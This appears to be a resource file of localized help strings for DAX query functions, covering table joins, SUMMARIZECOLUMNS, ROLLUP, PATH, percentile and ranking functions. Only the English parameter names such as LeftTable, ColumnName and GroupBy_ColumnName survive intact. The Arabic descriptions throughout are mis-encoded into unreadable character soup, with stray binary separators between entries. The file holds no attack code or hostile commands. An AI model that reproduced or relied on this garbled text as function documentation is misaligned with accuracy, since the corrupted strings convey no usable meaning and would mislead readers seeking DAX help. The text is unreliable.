'D,/HD 'DE*H'AB) E9 'D*9(J1 DetailRows 'DEO91A AJ 'DEBJ'3 'DE-//. AJ -'D) 9/E *91JA *9(J1 DetailRows J*E %1,'9 'D,/HD 'DC'ED 'D0J JF*EJ %DJG 'DEBJ'3.EBJ'3-E1,9 EBJ'3 'DE7DH( *BJJE *9(J1 DetailRows DG.�%1,'9 ,/HD (9EH/ H'-/ J-*HJ 9DI 'DBJE 'DEEJ2) ('DA1J/)) AJ 9EH/ DH3J7) 9EH/. #H #9E/) E*9//) (E,EH9) BJE EEJ2) (A1J/)) DH3J7) *9(J1 ,/HD.ColumnNameOrTableExprM'D9EH/ (#H *9(J1 'D,/HD) 'D0J 3J*E %1,'9 'DBJE 'DEEJ2) (#H E,EH9) 'DBJE) EFG.N%1,'9 'DBJE) AJ 'D9EH/ B(D 9// A-H5'* 'D,/HD 'DE-//) ('DBJE) 'D'A*1'6J) GJ 1).
ColumnName*'D9EH/ 'D0J J-*HJ 9DI 'DBJE) 'DE1:H( AJG'.1BE9// E1'* A-5 'D,/HD.2%1,'9 'DBJE) AJ 'D9EH/ D#HD FB7) JH,/ (G' 3J'B 5A.
ColumnName*'D9EH/ 'D0J J-*HJ 9DI 'DBJE) 'DE1:H( AJG'.PAA%1,'9 5AHA ,/HD 'D,'F( 'D#J31 'D0J D' J8G1 AJ ,/HD 'D,'F( 'D#JEF.	LeftTable9*9(J1 'D,'F( 'D#J31 EF 'D,/HD 'DE7DH( '3*./'EG D@ Except.
RightTable9*9(J1 'D,'F( 'D#JEF EF 'D,/HD 'DE7DH( '3*./'EG D@ Except.%1,'9 ,/HD *E* *5AJ*G.FilterExpression='D*9(J1 'DEF7BJ (5H'(/.7#) 'DE7DH( '3*./'EG DCD 5A EF 'D,/HD,'D,/HD'D,/HD 'DE7DH( *5AJ*G.9%1,'9 ,/HD (BJE 'D*5AJ) 'DE7(B) E('41) 9DI 'D9EH/ 'DE-//.
ColumnName+'D9EH/ 'D0J 3J*E %1,'9 BJE 9'ED 'D*5AJ) DG.d3J*E *BJJE *9(J1 'D,/HD 'D+'FJ DCD 5A AJ 'D,/HD 'D#HD. %1,'9 1(7 E*B'79 DD,/HD 'D#HD E9 G0G 'DF*'&,.Table1'D,/HD 'D#3'3J AJ Generate.Table25*9(J1 'D,/HD 'D0J 3J*E *BJJEG DCD 5A AJ 'D,/HD 'D#HD.�3J*E *BJJE *9(J1 'D,/HD 'D+'FJ DCD 5A AJ 'D,/HD 'D#HD EE' JF*, 9FG H,H/ 1(7 E*B'79 DD,/HD 'D#HD E9 G0G 'DF*'&, (E' AJ 0DC 'D5AHA 'D*J *E *A1J: *9(J1 'D,/HD 'D+'FJ EF #,DG'.Table1'D,/HD 'D#3'3J AJ Generate.Table25*9(J1 'D,/HD 'D0J 3J*E *BJJEG DCD 5A AJ 'D,/HD 'D#HD.D%1,'9 ,/HD (9EH/ H'-/ J*E ED$G (BJE *3D3DJ) EF 'D(/'J) %DI 'DFG'J).EndValueBJE) 'DFG'J) DD9EH/.IncrementValue'DBJE) 'D%6'AJ) DD9EH/.
StartValueBJE) 'D(/'J) DD9EH/.;J9ED 9DI %F4'! ED.5 D,/HD 'D%/.'D E,E9 -3( 'D#9E/) 'DE-//).'D*9(J1*9(J1 'D9EH/ 'D,/J/.GroupBy_ColumnName9EH/ J*E 'D*,EJ9 ('3*./'EG.'D'3E'3E 9EH/ E7DH( %6'A*G.'D,/HD
,/HD 'D%/.'D.m*9DJE *9(J1 'DBJ'3 'DE-// AJ '3*/9'! 'DH8JA) SUMMARIZECOLUMNS 'D*J 3J*E *,'GDG' 9F/ *-/J/ 'D5AHA :J1 'DA'1:).Measure_Expression7'D*9(J1 'DE7DH( *,'GDG D#:1'6 *-/J/ 'D5AHA :J1 'DA'1:).EJ9ED 9DI %1,'9 5AHA 'D,/HD %DI 'DJ3'1 'D0J J8G1 AJ 'D,/HD %DI 'DJEJF.	LeftTable<*9(J1 'D,'F( 'D#J31 EF 'D,/HD 'DE7DH( '3*./'EG D@ Intersect.
RightTable<*9(J1 'D,'F( 'D#JEF EF 'D,/HD 'DE7DH( '3*./'EG D@ Intersect.}'DH8JA) IsOnOrAfter GJ H8JA) EF7BJ) *-'CJ 3DHC 'D9('1) Start At H%1,'9 5H'( D5A J3*HAJ 'D41H7 'DH'1/) CE9DE'* AJ G0G 'DH8JA).'D*1*J(B'D*1*J( 'DE1'/ *7(JBG. 0/FALSE/DESC - *F'2DJ 1/TRUE/ASC - *5'9/J.Value1+'D*9(J1 'DE7DH( EB'1F*G E9 'DE9DE) 'D+'FJ).Value2*'D*9(J1 'DE7DH( EB'1F*G E9 'DE9DE) 'D#HDI.CJ$/J %DI %1,'9 5H'( %0' C'F #-/ 'DEB'JJ3 'DE-//) J*E *BJJEG -'DJK'.EBJ'3'DEBJ'3...3*:JJ1 /D'D'* *5AJ) H8JA) CALCULATE HCALCULATETABLE.'D*9(J18*9(J1 H8JA) CALCULATE #H CALCULATETABLE #H 9'ED 'D*5AJ).'3*1/'/ BJE) EF ,/HD B1'1'*.resultcolumn*'D9EH/ 'D0J J-*HJ 9DI 'DBJE) 'DE1:H( AJG'.searchcolumnPA('D9EH/ 'D0J J-*HJ 9DI *F($ search_value.searchvalue.'DBJE) 'D*J *1:( AJ E7'(B*G' AJ search_column.'3*1/'/ BJE) EF ,/HD.Alternate_Result�'DBJE) 'D*J J*E %1,'9G' AJ -'D) 9/E H,H/ BJE) #H H,H/ #C+1 EF BJE) AJ 'D9EH/ 'DE-// AJ -'D) -0AG' J*E %1,'9 BLANK AJ -'D) 9/E H,H/ BJE) HJ*E %1,'9 .7# AJ -'D) H,H/ #C+1 EF BJE).Result_ColumnName*'D9EH/ 'D0J J-*HJ 9DI 'DBJE) 'DE1:H( AJG'.Search_ColumnName#'D9EH/ 'D0J J-*HJ 9DI search_value.Search_Value/'DBJE) 'D*J *1J/ 'D9+H1 9DJG' AJ search_column.IJ9ED 9DI 1(7 'D,/HD 'D#J31 ('D,/HD 'D#JEF ('3*./'E /D'D'* 'D5D) 'D/'.DJ).	LeftTable5*9(J1 'D,'F( 'D#J31 EF 'D,/HD 'DE7DH( '3*./'EG DD1(7.
RightTable8*9(J1 'D,'F( 'D#JEF EF 'D,/HD 'DE7DH( '3*./'EG AJ 'D1(7.OJ9ED 9DI 1(7 'D,/HD 'D#J31 ('D,/HD 'D#JEF ('3*./'E /D'D'* 'D1(7 'D.'1,J 'D#J31.	LeftTable5*9(J1 'D,'F( 'D#J31 EF 'D,/HD 'DE7DH( '3*./'EG DD1(7.
RightTable8*9(J1 'D,'F( 'D#JEF EF 'D,/HD 'DE7DH( '3*./'EG AJ 'D1(7.-H69 9D'E) 9DI 9'ED 'D*5AJ) 9DI #FG NonVisual.'D*9(J1*9(J1 9'ED 'D*5AJ).JA12 'D,/HD.'D*9(J19EH/ #H *9(J1.'D,/HD,/HD E7DH( A12G.%1,'9 BJE) E1*7() EF ,/HD ".1.
ColumnNamePA*'D9EH/ 'D0J J-*HJ 9DI 'DBJE) 'DE1:H( AJG'.2%1,'9 ,/'HD E1*(7) E5A') D*6E 'D5AHA 'DE1*(7) AB7.'D,/HD&'D,/HD 'D0J J-*HJ 9DI 'DBJE) 'DE7DH().mJ-// E,EH9) A19J) EF 'D#9E/) 'DE-//) AJ '3*/9'! H8JA) SUMMARIZE 'DE7DH( '3*./'EG' AJ -3'( 'D%,E'DJ'* 'DA19J).GroupBy_ColumnName9EH/ E7DH( %1,'9G.J-// E,EH9) A19J) EF 'D#9E/) 'DE-//) AJ '3*/9'! H8JA) SUMMARIZECOLUMNS 'DE7DH( '3*./'EG' AJ -3'( E,EH9'* EF 'D%,E'DJ'* 'DA19J).GrandtotalFilter49'ED 'D*5AJ) 'DE7DH( *7(JBG 9DI E3*HI 'DE,EH9 'DCDJ.GroupBy_ColumnName9EH/ E7DH( %1,'9G.GroupLevelFilter/9'ED 'D*5AJ) 'DE7DH( *7(JBG 9DI 'DE3*HI 'D-'DJ.'D'3E'3E 9EH/ E7DH( %6'A*G.xJ-// E,EH9) A19J) EF 'D#9E/) 'DE-//) AJ '3*/9'! H8JA) SUMMARIZE 'DE7DH( '3*./'EG' AJ -3'( E,EH9'* EF 'D%,E'DJ'* 'DA19J).GroupBy_ColumnName9EH/ E7DH( %1,'9G.I,E9 E,EH9'* 'D*-/J+ E9 'D9EH/ 'D0J *E* %6'A*G (H'37) ROLLUPADDISSUBTOTAL.GrandtotalFilter49'ED 'D*5AJ) 'DE7DH( *7(JBG 9DI E3*HI 'DE,EH9 'DCDJ.GroupBy_ColumnName9EH/ E7DH( %1,'9G.GroupLevelFilter/9'ED 'D*5AJ) 'DE7DH( *7(JBG 9DI 'DE3*HI 'D-'DJ.IsSubtotal_ColumnName9EH/ IsSubtotal 'DEO6'A.?%1,'9 ,/HD (5A H'-/ J6E #9E/) ,/J/) E-//) ('3*./'E *9(J1'* DAX.'D*9(J1
*9(J1 'D9EH/.'D'3EPA'3E 'D9EH/ 'D,/J/.+%1,'9 E,EH9) A19J) 9JF) EF *9(J1 ,/HD E-//.'D*1*J(B'D*1*J( 'DE1'/ *7(JBG. 0/FALSE/DESC - *F'2DJ 1/TRUE/ASC - *5'9/J.OrderBy'*9(J1 9//J J*E *BJJEG DCD 5A AJ 'D,/HD.'D-,E%9// 'D5AHA AJ 'D9JF) 'DE7DH( %1,'9G'.'D,/HD *9(J1 ,/HD J*E %F4'! 'D9JF) EFG.�%1,'9 E,EH9) A19J) 9JF) EF *9(J1 ,/HD E-// J*E 'D-5HD 9DJG 9(1 *+(J* 'DE-H1 3 'D#3'3J AJ .D'J' (-,E E*3'HM +E -A8 'D-/ 'D#/FI/'D#B5I 'DE-DJ DCD .DJ) 9(1 3D'3D E.*DA).  'DE-H1y9EH/ 'DE-H1 'D9//J EF 'D,/HD 'DE-// 'DE7DH( *+(J*G. 3*-*A8 CD .DJ) ('D5AHA 'D*J *6E BJE) 'DEBJ'3 'D#/FI/'D#B5I DCD 3D3D).  DynamicSeries6'D9EH//'D#9E/) EF 'D,/HD 'DE-// 'D0J JD9( /H1 'D3D3D).DynamicSeriesSelectionCriteriaH'-/ EF: (D' #(,/J.DynamicSeriesSelectionOrderB'D*1*J( 'DE1'/ *7(JBG. 0/FALSE/DESC - *F'2DJ 1/TRUE/ASC - *5'9/J.MaxDynamicSeries1#B5I 9// E3EH- (G EF 'D3D3D) 'D/JF'EJCJ) 'DEEJ2).
MaxIterationsp('DF3() D9// 'D*C1'1'* 0'* #-,'E 'D.D'J' 'DE.*DA) 'DE7DH( *,1(*G' D'3*JA'! 'D9// 'DE1:H( AJG EF 'D5AHA 'DE7DH().
MaxResolutionE('DF3() D#J) 3D3D) #B5I 9// EF 'D5AHA 'DE-//) 9(1 F7'B 'DE-H1 'D9'E.EBJ'3W9EH/ 'DEBJ'3 EF 'D,/HD 'DE-// 'DE7DH( '3*./'EG D*-/J/ 'DBJE) 'D#/FI/'D#B5I 6EF CD .DJ).
MinResolutionE('DF3() D#J) 3D3D) #/FI 9// EF 'D5AHA 'DE-//) 9(1 F7'B 'DE-H1 'D9'E.'D-,E%9// 'D5AHA AJ 'D9JF) 'DE7DH( %1,'9G'.'D,/HDPA *9(J1 ,/HD J*E %F4'! 'D9JF) EFG.�%1,'9 E,EH9) A19J) 9JF) EF *9(J1 ,/HD E-// *E 'D-5HD 9DJG 9(1 13E 'D5AHA CFB'7 AJ E3'-) +F'&J) 'D#(9'/ H0DC (F'!K 9DI %-/'+J'* 'D%.1', H#9E/) F5A 'DB71 +E %2'D) 'DFB'7 'DE*1'C().
MaxBlankRatioZ9F/ *HA1 9EH/ F5A B71 E' 'DF3() (JF #B5I FB7) E13HE) H'DFB'7 'D*J *6E BJE) F5A B71 .'DJ).MaxMinRatioH9F/ *HA1 9EH/ F5A B71 E' 'DF3() (JF #B5I FB7) E13HE) H#/FI FB7) E13HE).	F5A 'DB71$9EH/ Radius 'D1BEJ EF 'D,/HD 'DE-//.'D-,E%9// 'D5AHA AJ 'D9JF) 'DE7DH( %1,'9G'.'D,/HD *9(J1 ,/HD J*E %F4'! 'D9JF) EFG.XAxis#9EH/ XAxis 'D1BEJ EF 'D,/HD 'DE-//.YAxis#9EH/ YAxis 'D1BEJ EF 'D,/HD 'DE-//.PAJ%1,'9 ,/HD ('D#9E/) 'DE-//) EF ,/HD H#9E/) ,/J/) E-//) (H'37) *9(J1'* DAX.*9(J1#*9(J1 'D9EH/ 'D,/J/ 'DE7DH( %6'A*G.'D'3E!'3E 'D9EH/ 'D,/J/ 'DE7DH( %6'A*G.'D,/HD!'D,/HD 'D0J *E *-/J/ 'D#9E/) EFG..J$/J %DI %1,'9 'DEBJ'3 'D0J J*E *BJJEG -'DJK'.<J$/J %DI %1,'9 3D3D) 'D*F3JB DDEBJ'3 'D0J J*E *BJJEG -'DJK'.2J$/J %DI %1,'9 '3E 'DEBJ'3 'D0J J*E *BJJEG -'DJK'.V%1,'9 'DBJE) 9F/ H,H/ BJE) H'-/) AB7 AJ 'D9EH/ 'DE-// H%D' J*E %1,'9 'DF*J,) 'D(/JD).AlternateResultt'DBJE) 'D*J J*E %1,'9G' 9F/ 9/E H,H/ BJE) AJ 'D9EH/ 'DE-// #H J6E #C+1 EF BJE) 'D*J AJ -'D) -0AG' J*E %1,'9 BLANK.
ColumnName$'D9EH/ 'DE7DH( %1,'9 BJE) H'-/) EFG.�%1,'9 ,/HD JE+D 1(7 E*H37 DD,/'HD 'DEB/E) H'D*J J*E (G' '3*(/'D 9EH/ AG13 E3*F/ %DI 5A1 ('DE,EH9) 'D9'E) EF 'D#9E/). J3*F/ 'DAG13 %DI 'D5AHA AJ 'D,/HD 'D+'FJ E1*() -3( *9(J1'* *1*J( E-//).'D*9(J17*9(J1 'D*1*J( -3( 'DE9DE) 'D+'FJ) (SemiJoinIndexTable).'D'3E+'3E 'D9EH/ 'DE7DH( %6'A*G %DI 'D,/HD 'D#HD.'D*1*J(B'D*1*J( 'DE1'/ *7(JBG. 0/FALSE/DESC - *F'2DJ 1/TRUE/ASC - *5'9/J.SemiJoinIndexTableF'D,/HD 'D0J 3J*E *1*J(G H'3*./'EG D-3'( 'DAG13 HDD1(7 ('DH3J7) 'D#HDI.'D,/HD'D,/HD 'DE7DH( *9/JDG.;J9ED 9DI %F4'! ED.5 D,/HD 'D%/.'D E,E9 -3( 'D#9E/) 'DE-//).'D*9(J1*9(J1 'D9EH/ 'D,/J/.GroupBy_ColumnNamev9EH/ E7DH( 'D*,EJ9 HABK' DG #H '3*/9'! H8JA) ROLLUP D*-/J/ B'&E) ('D#9E/) 'DE7DH( *,EJ9G' ('3*./'E 'D%,E'DJ'* 'DA19J),'D'3E'3E 9EH/ E7DH( %6'A*G.'D,/HD
,/HD 'D%/.'D.<%F4'! ,/HD ED.5 DD%,E'DJ'* 'DE7DH() 9(1 E,EH9) EF 'DE,EH9'*.'D*9(J1*9(J1 'D9EH/ 'D,/J/.FilterTable-*9(J1 J91A 'D,/HD 'D0J 3J*E %1,'9 'D5AHA EFG.GroupBy_ColumnName�9EH/ E7DH( 'D*,EJ9 HABK' DG #H '3*/9'! H8JA) ROLLUP HH8JA) ISSUBTOTALCOLUMNS D*-/J/ B'&E) ('D#9E/) 'DE7DH( *,EJ9G' ('3*./'E 'D%,E'DJ'* 'DA19J).'D'3E'3E 9EH/ E7DH( %6'A*G.3%1,'9 9// E-// EF 'D5AHA 'D9DHJ) HABK' D*9(J1 E-//.N_Value9// 'D5AHA 'DE7DH( %1,'9G'.'D*1*J(B'D*1*J( 'DE1'/ *7(JBG. 0/FALSE/DESC - *F'2DJ 1/TRUE/ASC - *5'9/J.OrderBy_Expression''D*9(J1 'D0J 3J*E '3*./'EG DA12 'D,/HD.'D,/HD-*9(J1 J91A 'D,/HD 'D0J 3J*E %1,'9 'D5AHA EFG.R%1,'9 #9DI 5AHA N HABK' D*9(J1 E-// H0DC (9/ *.7J 9//K' E-//K' EF 'D5AHA ('D#9DI.N_Value9// 'D5AHA 'DE7DH( %1,'9G'.'D*1*J(B'D*1*J( 'DE1'/ *7(JBG. 0/FALSE/DESC - *F'2DJ 1/TRUE/ASC - *5'9/J.OrderBy_Expression''D*9(J1 'D0J 3J*E '3*./'EG DA12 'D,/HD.Skip_Rows_Value9// 'D5AHA 'DE7DH( *.7JG'.'D,/HD-*9(J1 J91A 'D,/HD 'D0J 3J*E %1,'9 'D5AHA EFG.	'D*9'/D'*�3DHC 'D/'D) AJ -'D) 'D*9'/D'*. *,'H2 - 3J*E *,'H2 'DE1'*( 'D*J *3*,J( DD9F'51 AJ 'D*9'/D'* *C+JA - J*E -3'( CD 'D9F'51 AJ 'D*9'/D C9F51 H'-/.�J*9'ED E9 #9E/) ,/HD 'D%/.'D 9DI #FG' #9E/) EF ,/'HD #.1I. ('DF3() DCD 9EH/ **E *5AJ) #J) BJE :J1 EH,H/) AJ 9EH/ 'D%.1', 'DE*H'AB E9G'.
ColumnName'3E 9EH/ 'D%.1',.'D*9(J1A'D*9(J1 'D0J J9ED 9DI %F4'! E,EH9) 'D#9E/) 'DE7DH( %9'/) *9JJFG'.+%1,'9 '*-'/ EF 'D,/HDJF 'DE*7'(B) #9E/*GE'.'D,/HD$,/HD 3J4'1C AJ '*-'/ 'D1(7 'DE*B'79.}J-// 9D'B) -'DJ) J*E '3*./'EG' AJ *BJJE *9(J1 DAX. J*E *-/J/ 'D9D'B) (*3EJ) ('3E H3J7'* 'D9EH/JF 'D0JF J9ED'F CFB7*J FG'J).ColumnName1%'DEA*'- 'D.'1,J (#H 'D#3'3J) DD9D'B).ColumnName2%'DEA*'- 'D#3'3J (#H 'D.'1,J) DD9D'B).H%1,'9 ,/HD (9EH/ H'-/ #H ,/HD J-*HJ 9DI 'DBJE 'DEEJ2) ('DA1J/)) AJ 9EH/.TableNameOrColumnName3'D9EH/ #H 'D,/HD 'D0J 3J*E %1,'9 'DBJE 'DA1J/) EFG.J6JA CD 'D#1B'E AJ 9EH/.
ColumnName('D9EH/ 'D0J J-*HJ 9DI #1B'E E7DH( ,E9G'.+%1,'9 E,EH9 *9(J1 *E *BJJEG DCD 5A AJ ,/HD.'D*9(J1('D*9(J1 'DE7DH( *BJJEG DCD 5A AJ 'D,/HD.'D,/HD2'D,/HD 'D0J J6E 'D5AHA 'D0J 3J*E *BJJE 'D*9(J1 DG.c%1,'9 3D3D) *-*HJ 9DI B'&E) E-//) EF 'DE91A'* *(/# ('D*3D3D 'DGJCD #9DI/,01 H*F*GJ ('DE91A 'DE-//.
ID_ColumnName$'D9EH/ 'D0J J-*HJ 9DI E91A'* DCD 5A.Parent_ColumnName.'D9EH/ 'D0J J-*HJ 9DI 'DE91A'* 'D#5DJ) DCD 5A.8%1,'9 5H'( AJ -'D) H,H/ 'D9F51 'DE-// 6EF 'DE3'1 'DE-//.PA'D9F51"BJE) E7DH( 'D9+H1 9DJG' AJ 'DE3'1.'DE3'1"3D3D) *6E B'&E) E-//) EF 'DE91A'*.F%1,'9 'D9F51 nth AJ 'DB'&E) 'DE-//) *E %F*',G ('3*./'E 'DH8JA) 'DE3'1.'DE3'1"3D3D) *6E B'&E) E-//) EF 'DE91A'*.  'DEH69,9// 5-J- J8G1 'DEH69 EF 'D71A 'D#J31 DDE3'1.'DFH9�'.*J'1J. %0' C'F EABH/K' #H C'F* 'DBJE) 0 A%F G0G 'DH8JA) *BHE (%1,'9 3D3D). #E' %0' C'F* 'DBJE) 'DEH,H/) 1 A%F G0G 'DH8JA) *BHE (%1,'9 9// 5-J-.z%1,'9 'D9F51 nth AJ 'DB'&E) 'DE-//) 'D*J *E %F4'$G' (H'37) 'DH8JA) Path EE' J$/J %DI 'D-3'( ('D9C3 EF ".1 9F51 AJ 'DE3'1.'DE3'1"3D3D) *6E B'&E) E-//) EF 'DE91A'*.  'DEH69-9// 5-J- JE+D 'DEH69 EF 'D,'F( 'D#JEF DDE3'1.PA'DFH9�'.*J'1J. %0' C'F EABH/K' #H C'F* 'DBJE) 0 A%F G0G 'DH8JA) *BHE (%1,'9 3D3D). #E' %0' C'F* 'DBJE) 'DEH,H/) 1 A%F G0G 'DH8JA) *BHE (%1,'9 9// 5-J-.y%1,'9 9// 'D9F'51 AJ 3D3D) E3'1 E9JF). *BHE G0G 'DH8JA) (%1,'9 1 DDE3'1 'D0J *E %F4'$G DE91A AJ #9DI/,01 'D*3D3D 'DGJCDJ.'DE3'1"3D3D) *6E B'&E) E-//) EF 'DE91A'*.�J-3( 9// 'DBJE 'DEEJ2) 'D*B1J(J AJ 9EH/. -'DJK' D' **HA1 G0G 'D/'D) %D' 9DI ,/HD DirectQuery EF Azure SQL #H E3*H/9 (J'F'* SQL Azure.
ColumnName&'D9EH/ 'D0J J*E -3'( 'DBJE 'DA1J/) DG./%1,'9 E*H37 ('DH37 'D-3'(J) CD 'D#1B'E AJ 9EH/.
ColumnName4'D9EH/ 'D0J J-*HJ 9DI #1B'E *1J/ 'D-5HD 9DI E*H37G'.N%1,'9 E*H37 ('DH37 'D-3'(J) 'DBJE AJ 9EH/. **E E9'D,) 'DF5 H'DBJE :J1 'D9//J).
ColumnName,9EH/ J6E 'DBJE 'D*J *1J/ 'D-5HD 9DI E*H37G'.G-3'( E*H37 ('DH37 'D-3'(J) E,EH9) EF 'D*9(J1'* 'D*J *E *BJJEG' AJ ,/HD.'D*9(J1PA('D*9(J1 'DE7DH( *BJJEG DCD 5A AJ 'D,/HD.'D,/HD2'D,/HD 'D0J J6E 'D5AHA 'D0J 3J*E *BJJE 'D*9(J1 DG.J-3( 'D#1B'E AJ 9EH/.
ColumnName-'D9EH/ 'D0J J-*HJ 9DI 'D#1B'E 'DE7DH( -3'(G'.J-3( 9// 'DBJE AJ 9EH/.
ColumnName+'D9EH/ 'D0J J-*HJ 9DI 'DBJE 'DE7DH( -3'(G'.5J-3( 9// 'DBJE 'DF'*,) 9F *BJJE *9(J1 DCD 5A AJ ,/HD.*9(J1('D*9(J1 'DE7DH( *BJJEG DCD 5A AJ 'D,/HD.'D,/HD2'D,/HD 'D0J J6E 'D5AHA 'D0J 3J*E *BJJE 'D*9(J1 DG. J-3( 9// 'D-BHD 'DA'1:) AJ 9EH/.
ColumnName)'D9EH/ 'D0J J-*HJ 9DI AH'1: E7DH( -3'(G'.J-3( 9// 'D5AHA AJ ,/HD,'D,/HD,'D,/HD 'D0J J-*HJ 9DI 'D5AHA 'DE7DH( -3'(G'.5J-3( 9// 'DBJE 'DF'*,) 9F *BJJE *9(J1 DCD 5A AJ ,/HD.'D*9(J1('D*9(J1 'DE7DH( *BJJEG DCD 5A AJ 'D,/HD.'D,/HD2'D,/HD 'D0J J6E 'D5AHA 'D0J 3J*E *BJJE 'D*9(J1 DG.J-3( 9// 'DBJE 'DEEJ2) AJ 9EH/.
ColumnName&'D9EH/ 'D0J J*E -3'( 'DBJE 'DA1J/) DG.J-3( 9// 'DBJE 'DEEJ2) AJ 9EH/.
ColumnNameC'D9EH/ 'D0J J*E -3'( 'DBJE 'DA1J/) DG D' J*E *6EJF #J) BJE) A'1:).DH8JA) 'D*B3JE 'D"EF) E9 'DB/1) 9DI E9'D,) 'D*B3JE HABK' D-'D) 5A1J).AlternateResult<'.*J'1J. 'DF*J,) 'D(/JD) 'DE7DH( %1,'9G' 9F/ 'DB3E) 9DI 5A1.'DEB'E'DEB'E.'D(37'D(37.$%1,'9 'DH37 'DGF/3J DE1,9 9EH/ E-//.
ColumnName('D9EH/ 'D0J J-*HJ 9DI BJE 'DH37 'DGF/3J.'%1,'9 'DH37 'DGF/3J DBJE *9(J1 AJ ,/HD.'D*9(J1('D*9(J1 'DE7DH( *BJJEG DCD 5A AJ 'D,/HD.'D,/HD$'D,/HD 'D0J 3J*E *BJJE 'D*9(J1 9DJG.g%1,'9 #C(1 BJE) 9//J) #H #C(1 3D3D) AJ 9EH/ #H #C(1 BJE) (JF *9(J1JF 1BEJJF. J*E *,'GD 'DBJE 'DEF7BJ).ColumnNameOrScalar1PA_'D9EH/ 'D0J *1J/ 'D9+H1 AJG 9DI #C(1 BJE) 9//J) #H #C(1 3D3D) #H #HD *9(J1 1BEJ E7DH( EB'1F*G.Scalar2'D1BE 'D+'FJ 'DE7DH( EB'1F*G.8%1,'9 #C(1 BJE) AJ 9EH/. D' J*,'GD 'DBJE 'DEF7BJ) H'DF5.
ColumnName*'D9EH/ 'D0J *1J/ 'D9+H1 9DI #C(1 BJE) AJG.G%1,'9 #C(1 BJE) 9//J) #H #C(1 3D3D) *F*, 9F *BJJE *9(J1 DCD 5A AJ ,/HD.'D*9(J1('D*9(J1 'DE7DH( *BJJEG DCD 5A AJ 'D,/HD.'D,/HD2'D,/HD 'D0J J6E 'D5AHA 'D0J 3J*E *BJJE 'D*9(J1 DG.-%1,'9 'DBJE) 'DE&HJ) 1BE 50 EF 'DBJE AJ ,/HD.'D9EH/9EH/ J6E 'DBJE./%1,'9 'DBJE) 'DE&HJ) 1BE 50 DBJE *9(J1 AJ ,/HD.'D*9(J1PA('D*9(J1 'DE7DH( *BJJEG DCD 5A AJ 'D,/HD.'D,/HD$'D,/HD 'D0J 3J*E *BJJE 'D*9(J1 9DJG.g%1,'9 #5:1 BJE) 9//J) #H #5:1 3D3D) AJ 9EH/ #H #5:1 BJE) (JF *9(J1JF 1BEJJF. J*E *,'GD 'DBJE 'DEF7BJ).ColumnNameOrScalar1o'D9EH/ 'D0J *1J/ 'D9+H1 AJG 9DI #5:1 BJE) 9//J) #H #5:1 3D3D) AJ 9EH/ #H 'D*9(J1 'D1BEJ 'D#HD 'DE7DH( EB'1F*G.Scalar2'D1BE 'D+'FJ 'DE7DH( EB'1F*G.8%1,'9 #5:1 BJE) AJ 9EH/. D' J*,'GD 'DBJE 'DEF7BJ) H'DF5.
ColumnName*'D9EH/ 'D0J *1J/ 'D9+H1 9DI #5:1 BJE) AJG.G%1,'9 #5:1 BJE) 9//J) #H #5:1 3D3D) *F*, 9F *BJJE *9(J1 DCD 5A AJ ,/HD.'D*9(J1('D*9(J1 'DE7DH( *BJJEG DCD 5A AJ 'D,/HD.'D,/HD2'D,/HD 'D0J J6E 'D5AHA 'D0J 3J*E *BJJE 'D*9(J1 DG.PA1%1,'9 'DBJE 'DE&HJ) k-th (-51J) EF 'DBJE AJ 9EH/.'D9EH/9EH/ J6E 'DBJE.K`'DBJE) 'DE&HJ) 'DE1:H( AJG' AJ 'DA'5D [1/(n+1),1-1/(n+1)] -J+ JE+D n 9// FB'7 'D(J'F'* 'D5'D-).1%1,'9 'DBJE 'DE&HJ) k-th (4'ED) EF 'DBJE AJ 9EH/.'D9EH/9EH/ J6E 'DBJE.K,'DBJE) 'DE&HJ) 'DE1:H( AJG' AJ 'DA'5D [0,1].6%1,'9 'DBJE) 'DE&HJ) k-th (-51JK') DBJE *9(J1 AJ ,/HD.'D*9(J1('D*9(J1 'DE7DH( *BJJEG DCD 5A AJ 'D,/HD.K`'DBJE) 'DE&HJ) 'DE1:H( AJG' AJ 'DA'5D [1/(n+1),1-1/(n+1)] -J+ JE+D n 9// FB'7 'D(J'F'* 'D5'D-).'D,/HD$'D,/HD 'D0J 3J*E *BJJE 'D*9(J1 9DJG.8%1,'9 'DBJE) 'DE&HJ) k-th (4'ED) EF BJE 'D*9(J1 AJ ,/HD.'D*9(J1('D*9(J1 'DE7DH( *BJJEG DCD 5A AJ 'D,/HD.K,'DBJE) 'DE&HJ) 'DE1:H( AJG' AJ 'DA'5D [0,1].'D,/HD$'D,/HD 'D0J 3J*E *BJJE 'D*9(J1 9DJG.%1,'9 'DEF*, DE1,9 9EH/ E-//.
ColumnName9EH/ J6E BJEK' DDEF*,.%1,'9 EF*, DBJE *9(J1 AJ ,/HD.'D*9(J1('D*9(J1 'DE7DH( *BJJEG DCD 5A AJ 'D,/HD.'D,/HD$'D,/HD 'D0J 3J*E *BJJE 'D*9(J1 9DJG.z%1,'9 E1*() 1BE AJ 9EH/ EF 'D#1B'E. AJ -'D) H,H/ #C+1 EF BJE) AJ FA3 'DE1*() J*E %1,'9 #9DI E1*() DG0G 'DE,EH9) EF 'DBJE.
ColumnName9EH/ 3J*E *1*J( 'DBJE) (G,'D*1*J(B'D*1*J( 'DE1'/ *7(JBG. 0/FALSE/DESC - *F'2DJ 1/TRUE/ASC - *5'9/J.'DBJE)'DBJE) 'DE7DH( *1*J(G'.n%1,'9 E1*() *9(J1 *E *BJJEG AJ 'D3J'B 'D-'DJ AJ B'&E) EF 'DBJE DD*9(J1 'D0J *E *BJJEG DCD 5A AJ 'D,/HD 'DE-//.'D*9(J1 *9(J1 3J*E *BJJEG D5A AJ 'D,/HD.'D*1*J(B'D*1*J( 'DE1'/ *7(JBG. 0/FALSE/DESC - *F'2DJ 1/TRUE/ASC - *5'9/J.'D,/HD*9(J1 ,/HD.	'D*9'/D'*�3DHC 'D/'D) AJ -'D) 'D*9'/D'*. *,'H2 - 3J*E *,'H2 'DE1'*( 'D*J *3*,J( DD9F'51 AJ 'D*9'/D'* *C+JA - J*E -3'( CD 'D9F'51 AJ 'D*9'/D C9F51 H'-/.'DBJE)N*9(J1 3J*E *BJJEG AJ 'D3J'B 'D-'DJ. AJ -'D) 'D-0A 3J*E '3*./'E H3J7) 'D*9(J1.]J-3( 'D'F-1'A 'DE9J'1J (F'!K 9DI 'DE-*HI ('DC'ED 'DE-// CH3J7'*. J*,'GD 'DBJE 'DEF7BJ) H'DF5.
ColumnName'9EH/ J-*HJ 9DI #1B'E **H'AB E9 'DE-*HI,Q*B/J1 'D'F-1'A 'DE9J'1J '3*F'/K' %DI 9JF). J*,'GD 'DBJE 'DEF7BJ) H'DF5 AJ 'D9JF).
